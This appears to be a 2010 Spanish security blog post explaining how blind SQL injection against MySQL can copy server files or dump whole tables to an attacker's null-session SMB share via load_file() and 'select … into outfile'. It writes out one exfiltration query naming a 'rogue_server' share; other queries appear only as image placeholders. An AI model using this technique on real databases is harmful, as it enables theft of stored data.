viernes, 9 de abril de 2010

Descarga de ficheros y extracción de datos de Mysql mediante Netbios

Una de las tareas más lentas, repetitivas y que más rastros dejan en el log del servidor web es la descarga de ficheros o de información de una base de datos mediante técnicas de Blind Sql Injection.

En el gestor de base de datos Mysql es posible la lectura y escritura de ficheros de forma remota mediante recursos compartidos, característica que puede ser utilizada para la descarga de ficheros remotos o la extracción de información de la base de datos.

Para ello es necesaria la creación de un recurso compartido el cual permita la autenticación nula, ya que MySql realizará una conexión mediante ‘null session’. Para permitir la sesión nula debemos proporcionar acceso al recurso a todos los usuarios, con permisos de lectura y escritura para que pueda crear archivos en esta localización.

 

clip_image002

 

Una vez tenemos un servidor de recursos compartidos, podemos inyectar mediante SQL Injection las siguientes querys que hacen uso de la función ‘load_file()’ y de la sintaxis de ‘select … into outfile’ para cargar ficheros locales y guardarlos en un equipo controlado por el atacante.

 

clip_image004

clip_image006

 

Si el firewall del servidor no impide realizar conexiones a través del puerto 139 y tenemos permisos para la ejecución de la función load_file() obtendremos el fichero en nuestro recurso compartido.

 

clip_image008

 

Sin embargo, si no disponemos de permisos de ejecución de load_file() y el firewall nos permite las conexiones, podremos volcarnos información por medio de la query ‘select * from db.tabla into outfile “\\\\rogue_server\\recurso\\fichero”’.

 

clip_image010

 

Esta es una alternativa a utilizar en escenarios donde nos encontremos una vulnerabilidad Blind Sql Injection, permitiéndonos descargarnos todo el contenido con una sola query.

¡Un saludo!